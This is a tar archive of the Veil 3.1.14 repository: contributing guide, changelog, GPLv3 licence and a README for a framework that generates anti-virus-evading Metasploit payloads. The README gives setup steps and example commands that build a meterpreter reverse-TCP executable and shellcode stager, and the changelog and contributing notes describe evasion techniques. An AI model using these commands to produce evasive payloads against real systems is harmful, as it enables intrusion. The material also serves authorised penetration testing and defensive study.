pax_global_header00006660000000000000000000000064136501775610014525gustar00rootroot0000000000000052 comment=887cbe90e08f4643c63fb58afff0f31d3c957337 Veil-3.1.14/000077500000000000000000000000001365017756100125125ustar00rootroot00000000000000Veil-3.1.14/.github/000077500000000000000000000000001365017756100140525ustar00rootroot00000000000000Veil-3.1.14/.github/CONTRIBUTING.md000066400000000000000000000031071365017756100163040ustar00rootroot00000000000000# How To Contribute First of all, I would like to say thank you for being interested in contributing to the Veil-Framework! Anything you contribute makes my life easier, I do really appreciate it. For the time being, I'm going to try to break this up by sections. Don't read the whole thing (unless you really want to), just check out the section that applies to you. Thanks again for your help! #avlol ## Creating Github Issues There's a couple pieces of information that we will need if you create a Github issue. Some of the primary information is: * Please provide the version of Veil you are using * Please provide the OS that you are using (version included) * Please provide the error that you are receiving * Please post the error on Pastebin, or another similar site, an post the link in the issue * Please do NOT post a giant code snippet all within the issue itself * Please provide the output/functionality you expected (vs. what you received) Please be sure to include all of the above information, otherwise we may not have enough information to help fix the issue at hand. ## Submitting Modules Here's a couple of tips that can help when submitting a module: * Please test the module to make sure it works with the latest version of the master branch * Please ensure all requirements are installed within Kali for the module to work * If you need an extra library to be installed, be sure to call that information out * Please randomize every variable, or everything as much as possible within your module * Feel free to use the helpers.randomString() function for this Veil-3.1.14/.github/ISSUE_TEMPLATE.md000066400000000000000000000005211365017756100165550ustar00rootroot00000000000000## Veil version ## OS Used - all info (architecture, linux flavor, etc) ## How did you install Veil? (Apt, Clone from Github, etc.) ## Did you run the setup script? ## Pastebin link to error you are encountering (include console actions you took prior to error) ## Expected behavior ## Any additional info you want to tell meVeil-3.1.14/.gitignore000066400000000000000000000002201365017756100144740ustar00rootroot00000000000000## Python Rubbish __pycache__/ *.py[cod] ## OSX Rubbish .DS_Store ## Windows Rubbish [Dd]esktop.ini Thumbs.db ehthumbs.db ehthumbs_vista.db Veil-3.1.14/CHANGELOG000066400000000000000000000045051365017756100137300ustar00rootroot00000000000000[2020-04-22] Released.: 3.1.14 Modified.: Fix for #351, it was just superficial and never stopped the tool from running, but changes "is not" to != [2020-03-25] Released.: 3.1.13 Modified.: Imports now use new version of imports, and updated setup script (both were pull requests) [2019-06-17] Released.: 3.1.12 Fixed....: Pyherion including tabs in imports could cause syntax errors, tabs are now stripped only for imports [2018-05-17] Released.: 3.1.11 Modified.: Golang/meterpreter/* payloads have big fixed when injection via heap. Thanks to Carlos for pointing this out [2018-05-16] Released.: 3.1.10 Modified.: Setup script now in compatible with void thanks to PR #212 [2018-05-09] Released.: 3.1.9 Modified.: Fixed bug in golang payloads when using MINPROCS check, thanks to issue #208 [2018-05-08] Released.: 3.1.8 Modified.: Setup script to now support Ubuntu 17 - thanks to @leesoh for the PR [2018-04-29] Released.: 3.1.7 Modified.: Setup updated for Debian thanks to @g0tmi1k [2018-04-23] Released.: 3.1.6 Modified.: Updated setup (again) thanks to @g0tmi1k!!! [2018-04-05] Released.: 3.1.5 Modified.: Setup process update is now merged in, code from @g0tmi1k - thanks for the help!!! [2017-09-04] Released.: 3.1.4 Modified.: Updated PowerShell check for UTC time and removed extra whitespace [2017-06-06] Released.: 3.1.2 Modified.: Fixed golang payloads when using virtualprotect [2017-05-27] Released.: 3.1.1 Modified.: Autoit payload now auto-parses and supports large shellcode input that is > 4000 [2017-05-16] Released.: 3.1 Modified.: Most "shellcode_inject" payloads now utilize VirtualProtect to never have RWX memory. Not all do (C, AutoIt, Lua) [2017-04-16] Released.: 3.0.2 Modified.: PowerShell payloads no longer have -Exec bypass and fixed read format from binary to non-binary when reading a file containing shellcode. [2017-04-04] Released.: 3.0.1 Modified.: Python rev_https and rev_tcp modified to fix a small bug and formatting issue [2017-03-07] Released.: 3.0 Modified.: This is Veil 3.0's initial release (with minor bug patches post-release). Ideally everything is working well! All mods (hopefully) will be tracked in this file so you know of any changes. Veil-3.1.14/LICENSE000066400000000000000000001045051365017756100135240ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . Veil-3.1.14/README.md000066400000000000000000000224771365017756100140050ustar00rootroot00000000000000# Veil ![Veil Logo](https://www.veil-framework.com/wp-content/uploads/2013/12/cropped-Veil-Symbol2.png "Veil Logo") Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. Veil is current under support by @ChrisTruncer - - - ## Software Requirements: The following OSs are officially supported: - Debian 8+ - Kali Linux Rolling 2018.1+ The following OSs are likely able to run Veil: - Arch Linux - Manjaro Linux - BlackArch Linux - Deepin 15+ - Elementary - Fedora 22+ - Linux Mint - Parrot Security - Ubuntu 15.10+ - Void Linux ## Setup ### Kali's Quick Install ```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent ``` ### Git's Quick Install **NOTE**: - Installation must be done with superuser privileges. If you are not using the root account (as default with Kali Linux), prepend commands with `sudo` or change to the root user before beginning. - Your package manager may be different to `apt`. You will also need an X server running, either on the system itself, or on your local system. ```bash sudo apt-get -y install git git clone https://github.com/Veil-Framework/Veil.git cd Veil/ ./config/setup.sh --force --silent ``` ### ./config/setup.sh // Setup Files This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run `./config/update-config.py` for your environment. It includes two optional flags, `--force` and `--silent`: ```bash --force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update. --silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user. ``` This can be ran either by doing: `./Veil.py --setup` OR `./config/setup.sh --force`. ### ./config/update-config.py // Regenerating Configuration file This will generate the output file for `/etc/veil/settings.py`. Most of the time it will not need to be rebuilt but in some cases you might be prompted to do so (such as a major Veil update). It is important that you are in the `./config/` directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following: ```bash Main Menu 0 payloads loaded ``` Don't panic. Run either: `./Veil.py --config` OR `cd ./config/; ./update-config.py`. ### Py2Exe **NOTE**: Using **Py2Exe** is recommended over PyInstaller _(as it has a lower detection rate)_. MANUALLY Install on a Windows Computer (as this isn't done by Veil's setup): - [Python 3.3](https://www.python.org/downloads/release/python-335/) - [Py2Exe](https://pypi.python.org/pypi/py2exe/) - [PyCrypto](http://www.voidspace.org.uk/python/modules.shtml#pycrypto) - [PyWin32](https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/) - - - ## Example Usage Veil's Main Menu: ```bash $ ./Veil.py =============================================================================== Veil | [Version]: 3.1.6 =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== Main Menu 2 tools loaded Available Tools: 1) Evasion 2) Ordnance Available Commands: exit Completely exit Veil info Information on a specific tool list List available tools options Show Veil configuration update Update Veil use Use a specific tool Veil>: ``` **Help** ```bash $ ./Veil.py --help usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config] [--version] [--ip IP] [--port PORT] [--list-payloads] [-p [PAYLOAD]] [-o OUTPUT-NAME] [-c [OPTION=value [OPTION=value ...]]] [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ] [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD] [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats] Veil is a framework containing multiple tools. [*] Veil Options: --list-tools List Veil's tools -t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.) --update Update the Veil framework --setup Run the Veil framework setup file & regenerate the configuration --config Regenerate the Veil framework configuration file --version Displays version and quits [*] Callback Settings: --ip IP, --domain IP IP address to connect back to --port PORT Port number to connect to [*] Payload Settings: --list-payloads Lists all available payloads for that tool [*] Veil-Evasion Options: -p [PAYLOAD] Payload to generate -o OUTPUT-NAME Output file base name for source and compiled binaries -c [OPTION=value [OPTION=value ...]] Custom payload module options --msfoptions [OPTION=value [OPTION=value ...]] Options for the specified metasploit payload --msfvenom [] Metasploit shellcode to generate (e.g. windows/meterpreter/reverse_tcp etc.) --compiler pyinstaller Compiler option for payload (currently only needed for Python) --clean Clean out payload folders [*] Veil-Ordnance Shellcode Options: --ordnance-payload PAYLOAD Payload type (bind_tcp, rev_tcp, etc.) [*] Veil-Ordnance Encoder Options: --list-encoders Lists all available encoders -e ENCODER, --encoder ENCODER Name of shellcode encoder to use -b \x00\x0a.., --bad-chars \x00\x0a.. Bad characters to avoid --print-stats Print information about the encoded shellcode $ ``` **Veil Evasion CLI** ```bash $ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444 =============================================================================== Veil-Evasion =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== runtime/internal/sys runtime/internal/atomic runtime errors internal/race sync/atomic math sync io unicode/utf8 internal/syscall/windows/sysdll unicode/utf16 syscall strconv reflect encoding/binary command-line-arguments =============================================================================== Veil-Evasion =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== [*] Language: go [*] Payload Module: go/meterpreter/rev_tcp [*] Executable written to: /var/lib/veil/output/compiled/payload.exe [*] Source code written to: /var/lib/veil/output/source/payload.go [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc $ $ file /var/lib/veil/output/compiled/payload.exe /var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows $ ``` **Veil Ordnance CLI** ```bash $ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444 =============================================================================== Veil-Ordnance =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== [*] Payload Name: Reverse TCP Stager (Stage 1) [*] IP Address: 127.0.0.1 [*] Port: 4444 [*] Shellcode Size: 287 